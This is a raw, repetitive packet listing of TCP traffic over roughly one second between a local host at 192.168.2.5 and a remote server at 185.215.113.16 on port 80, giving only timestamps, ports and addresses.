Dec 24, 2024 12:39:32.079334974 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.079346895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.079375982 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.080218077 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.080270052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.080275059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.080281019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.080322027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.081172943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.081221104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.081229925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.081264019 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.082134008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.082181931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.082187891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.082192898 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.082227945 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.241069078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.360595942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.748869896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.748883009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.748949051 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.750333071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.756577969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.756627083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870068073 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870081902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870098114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870110035 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870117903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870129108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870138884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870172024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870263100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870263100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870263100 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870534897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870547056 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870557070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870587111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870604992 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870619059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870628119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870637894 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870646954 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870647907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.870661974 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.870697975 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.871253014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871263981 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871278048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871287107 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871293068 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871299028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871305943 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871305943 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.871320009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871325970 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.871328115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871330023 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871331930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871332884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871334076 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871336937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871346951 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.871347904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871355057 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.871367931 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.871402025 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.933862925 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.933901072 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.933969975 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.934000015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.934022903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.934032917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.934067965 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.934915066 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.934959888 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.935030937 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.935080051 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.935091972 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.935118914 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.936012030 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.936029911 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.936041117 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.936072111 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.936100960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.936770916 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.936865091 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.936876059 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.936914921 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.937798977 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.937843084 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.937933922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.937944889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.937989950 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.938816071 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.938868999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.938879013 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.938919067 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.939722061 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.939762115 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.939766884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.939774036 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.939822912 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.940706015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.940762997 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.940774918 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.940814018 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.941658020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.941711903 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.941713095 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.941723108 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.941754103 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.942636967 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.942689896 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.942702055 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.942745924 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.943614006 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.943656921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.943666935 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.943666935 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.943691969 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.944555998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.944618940 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.944628954 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.944664955 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.945636034 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.945647955 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.945657015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.945692062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.945705891 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.946530104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.946573019 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.946583986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.946619987 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.947525024 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.947576046 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:32.947601080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:32.971107960 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.060870886 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.060883999 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.060897112 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.060967922 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.061274052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.061314106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.061388969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.061444998 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.061455965 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.061490059 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.062397957 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.062408924 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.062422991 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.062442064 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.062455893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.063221931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.063232899 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.063244104 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.063266993 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.064209938 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.064244032 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.064323902 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.064337015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.064368963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.065196037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.065244913 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.065256119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.065298080 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.066210985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.066221952 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.066231966 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.066272974 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.066289902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.067069054 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.067151070 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.067162037 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.067192078 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.068111897 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.068123102 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.068134069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.068160057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.068187952 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.069036007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.069080114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.069091082 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.069127083 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.070043087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.070053101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.070069075 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.070084095 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.070101976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.070971012 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.071032047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.071043015 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.071074963 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.071950912 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.071991920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.072002888 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.072032928 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.072061062 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.072964907 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.073012114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.073021889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.073065996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.073882103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.073921919 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.073967934 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.073978901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.074014902 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.074836969 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.074898005 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.074908018 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.074942112 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.075840950 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.075917959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.075930119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.075968027 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.076899052 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.076910973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.076920986 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.076955080 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.077750921 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.077792883 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.077919960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.077930927 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.077972889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.078757048 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.078810930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.078888893 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.078929901 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.079740047 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.079782009 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.079809904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.079822063 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.079862118 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.080904007 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.080914021 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.080974102 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.126009941 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.126020908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.126032114 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.126072884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.126473904 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.126483917 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.126494884 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.126517057 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.126529932 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.127473116 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.127484083 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.127494097 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.127521992 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.128597975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.128659964 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.128705978 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.128838062 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.128885984 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.129410028 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.129420042 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.129431009 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.129491091 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.130357027 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.130367994 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.130378008 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.130398989 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.130426884 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.131324053 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.131366014 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.131376982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.131413937 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.132350922 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.132361889 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.132404089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.132483959 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.132522106 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.133199930 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.176055908 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.187375069 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.187503099 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.187514067 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.187546968 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.187975883 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.187987089 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.187997103 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.188019991 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.188055992 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.188676119 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.188710928 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.188723087 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.188759089 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.189649105 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.189692020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.189692020 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.189704895 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.189743996 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.190635920 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.190654993 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.190665960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.190701962 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.191656113 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.191667080 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.191675901 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.191701889 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.191730976 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.192584038 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.192631960 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.192641973 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.192671061 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.238531113 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.253089905 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.253206968 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.253251076 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.253308058 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.253432989 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.253443956 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.253478050 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.254267931 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.254307985 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.254309893 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.254318953 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.254355907 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.254990101 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.255075932 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.255085945 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.255120039 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.255949020 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.255985022 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.256007910 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.256019115 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.256055117 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.256954908 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.256973982 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.256987095 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.257011890 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.257886887 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.257921934 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.257951975 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.257962942 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.257999897 CET	49727	80	192.168.2.5	185.215.113.16
Dec 24, 2024 12:39:33.258908987 CET	80	49727	185.215.113.16	192.168.2.5
Dec 24, 2024 12:39:33.258919001 CET	80	49727	185.215.113.16	192.168.2.5
